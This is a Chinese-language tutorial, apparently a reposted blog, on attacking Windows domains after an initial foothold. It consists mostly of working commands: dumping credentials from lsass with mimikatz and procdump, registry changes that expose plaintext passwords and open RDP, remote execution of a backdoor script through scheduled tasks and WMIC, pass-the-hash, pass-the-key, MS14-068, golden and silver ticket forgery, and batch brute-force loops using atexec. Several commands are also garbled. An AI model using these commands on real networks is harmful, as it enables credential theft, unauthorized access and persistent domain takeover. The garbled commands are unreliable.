内网渗透-域渗透简单思路

文章目录

  • 1.权限提升
  • 2.渗透姿势
    • 爆hash,爆aes key
      • 爆hash
      • 爆aes key
  • 3.远程登录
    • 注册表修改
    • 连接命令
  • 4.连接操作
  • PTH攻击(利用明文或hash连接)
      • IPC(明文连接主机)
      • WMI(利用明文连接)
      • SMB(利用明文或hash连接)
      • RDP(利用明文或hash连接)
      • WMI工具(利用明文或hash连接)
  • PTK攻击(aes key 进行连接)
  • PTT攻击(权限维持)
    • Golden ticket(黄金票据)
    • silver ticket(白银票据)
  • 5.bat批量连接测试

1.权限提升

  • 一开始一定要提到administrator或以上,才好继续内网渗透。

2.渗透姿势

爆hash,爆aes key

爆hash

域用户主机上传mimikatz

  • mimikatz.exe上执行: privilege::debug sekurlsa::logonpasswords 则可报出hash
  • 当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。
  • reg add
    HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
    UseLogonCredential /t REG_DWORD /d 1 /f

procdump

  • procdump -accepteula -ma lsass.exe lsass.dmp mimikatz.exe上执行:
  • sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords

爆aes key

3.远程登录

注册表修改

开启的3389方法:
1.通用开3389(优化后):

  • wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call
    SetAllowTSConnections 1

2.For Win2003:

  • REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" “Server /v
    fDenyTSConnections /t REG_DWORD /d 00000000 /f

3.For Win2008:

  • REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” "Server /v
    fDenyTSConnections /t REG_DWORD /d 00000000 /f

4.For Every:
cmd开3389 win08 win03 win7 win2012 winxp
win08,三条命令即可:

  • wmic /namespace:\root\cimv2 erminalservices path
    win32_terminalservicesetting where (__CLASS != “”) call
    setallowtsconnections 1

  • wmic /namespace:\root\cimv2 erminalservices path
    win32_tsgeneralsetting where (TerminalName =‘RDP-Tcp’) call
    setuserauthenticationrequired 1

  • reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v
    fSingleSessionPerUser /t REG_DWORD /d 0 /f

win2012通用;win7前两条即可。权限需要run as administrator。

连接命令

  • windows: mstsc
  • linux: rdesktop 192.168.3.21:3389

4.连接操作

PTH攻击(利用明文或hash连接)

IPC(明文连接主机)

在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令及相关工具的使用,在已知目标系统的用户明文密码或者hash的基础上,直接可以在远程主机上执行命令。

获取到某域主机权限->minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文,hash当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

一、利用流程

  1. 建立IPC链接到目标主机
  2. 拷贝要执行的命令脚本到目标主机
  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
  4. 删除IPC链接

net use \server\ipc$“password” /user:username # 工作组
net use \server\ipc$“password” /user:domain\username #域内

dir \xx.xx.xx.xx\C$\ # 查看文件列表
copy \xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \xx.xx.xx.xx\C$\1.bat # 复制文件
net use \xx.xx.xx.xx\C$\1.bat /del # 删除IPC
net view xx.xx.xx.xx # 查看对方共享

建立IPC常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码

建立IPC失败的原因
(1)目标系统不是NT或以上的操作系统
(2)对方没有打开IPC$共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误

二、[at] & [schtasks]
#at 小于等于windows2008
net use \192.168.1.5 Password /user:admin # 建立ipc连接:
copy add.bat \192.168.1.5\C$\Inetpub # 拷贝执行脚本到目标机器
net time \192.168.1.5 # 查看目标时间,可能本地时间与目标时间不符
at \192.168.1.5 21:52 c:\Inetpub\add.bat # 添加计划任务
at \192.168.1.5 # 查看任务列表

#schtasks 大于windows2008
net use \192.168.1.5 Password /user:admin # 建立ipc连接:
copy add.bat \192.168.1.5\C$\Inetpub # 拷贝执行脚本到目标机器
net time \192.168.1.5 # 查看目标时间,可能本地时间与目标时间不符
schtasks /create /s 192.168.1.5 /ru “SYSTEM” /tn adduser /sc DAILY /tr c:\Inetpub\add.bat /F #创建adduser计划任务
schtasks /run /s 192.168.1.5 /tn adduser /i #运行adduser计划任务
schtasks /delete /s 192.168.1.5 /tn adduser /f # 删除计划任务

WMI(利用明文连接)

自带WMIC 明文传递 无回显

  • wmic /node:192.168.3.21 /user:administrator /password:Admin12345
    process call create “cmd.exe /c ipconfig >C:\1.txt”

SMB(利用明文或hash连接)

RDP(利用明文或hash连接)

  • 除了上述讲到的IPC,WMI,SMB等协议的链接外,获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作。

RDP明文密码链接

  • windows: mstsc
  • linux: rdesktop 192.168.3.21:3389

RDP密文HASH链接

  • windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server
    2012 R2中默认开启,同时如果Win 7 和Windows Server 2008
    R2安装了2871997、2973351补丁也支持;开启命令:
  • REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v
    DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

开启后运行:

  • mstsc.exe /restrictedadmin
  • mimikatz.exe
  • privilege::debug
  • sekurlsa::pth /user:administrator /domain:remoteserver
    /ntlm:d25ecd13fddbb542d2e16da4f9e0333d “/run:mstsc.exe
    /restrictedadmin”

WMI工具(利用明文或hash连接)

PTK攻击(aes key 进行连接)

PTK(pass the key) #利用的aeskey进行的渗透测试

#获取用户aes key
mimikatz “privilege::debug” “sekurlsa::ekeys”

#注入aes key
mimikatz “privilege::debug” “sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288”

#目标系统:安装kb2871997补丁

PTT攻击(权限维持)

Kerberos协议在域中,简要介绍一下

  • 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting
    Ticket)
  • 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
  • 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
  • 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

内网渗透-域渗透简单思路_第1张图片

  • ptt攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:

MS14-068,Golden ticket(黄金票据),SILVER ticket(白银票据)

#MS14-068

  • #查看当前sid whoami/user

  • mimikatz # kerberos::purge

  • //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

  • mimikatz # kerberos::list

  • //查看当前机器凭证

  • mimikatz # kerberos::ptc

  • 票据文件 //将票据注入到内存中

#利用ms14-068生成TGT数据

  • ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
  • MS14-068.exe -u [email protected] -s
    S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p
    admin!@#45

#票据注入

#查看凭证列表 klist
#利用net use载入

  • net use \192.168.3.21\c$

  • dir \192.168.3.21\c$

#利用kekeo生成TGT数据
#生成票据

  • kekeo “tgt::ask /user:mary /domain:god.org
    /ntlm:518b98ad4178a53695dc997aa02d455c”

#导入票据

#查看凭证 klist

#利用net use载入

  • net use \192.168.3.21\c$

  • dir \192.168.3.21\c$

权限维持-Golden ticket

Golden ticket(黄金票据)

  • Golden
    ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。

#伪造黄金凭据需要具备下面条件:

  • krbtgt用户的hash(有域控制器权限)
  • 域名称
  • 域的SID值
  • 要伪造的用户名

#域控DC导出hash krbtgt

  • privilege::debug

  • lsadump::lsa /patch

  • b097d7ed97495408e1537f706c357fc5

#生成tgt凭证

  • mimikatz # kerberos::golden /user:administrator /domain::god.org
    /sid:S-1-5-21-1218902331-2157346161-1782232778-1124
    /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket

#注入凭证

  • mimikatz # kerberos::ptt ticket.kirbi

#查看凭证 klist

##利用net use载入

  • net use \192.168.3.21\c$

  • dir \192.168.3.21\c$

权限维持-silver ticket

silver ticket(白银票据)

  • silver ticket和golden
    ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。不像是Golden
    ticket,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。白银票据这里只是对单一的服务进行授权,利用过程和golden
    ticket差不多,首先上域控制器中,把机器的ntlm hash(rc4加密)
    dump下来,然后在普通域用户机器进行伪造权限,进行ptt.

#域控导出hash

  • privilege::debug
  • sekurlsa::logonpasswords

#攻击3.21下的cifs(文件共享服务)

  • kerberos::golden /domain:god.org
    /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:192.168.3.21
    /rc4:8432d4fa4430ecf56927dbabd1b4d36b /service:cifs /user:mary /ptt

PTT(pass the ticket) #利用的票据凭证TGT进行的渗透测试

5.bat批量连接测试

#利用hash验证主机列表ips.txt
FOR /F %%i in (ips.txt) do atexec.exe -hashes :HASH ./administrator@%%i whoami

#指定主机进行用户hash列表(hashes.txt)爆破
FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./[email protected] whoami

#指定主机进行明文密码列表(passwords.txt)爆破

FOR /F %%i in (passwords.txt) do atexec.exe ./administrator:%%[email protected] whoami

#利用明文密码验证主机列表ips.txt
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i whoami

你可能感兴趣的:(内网渗透)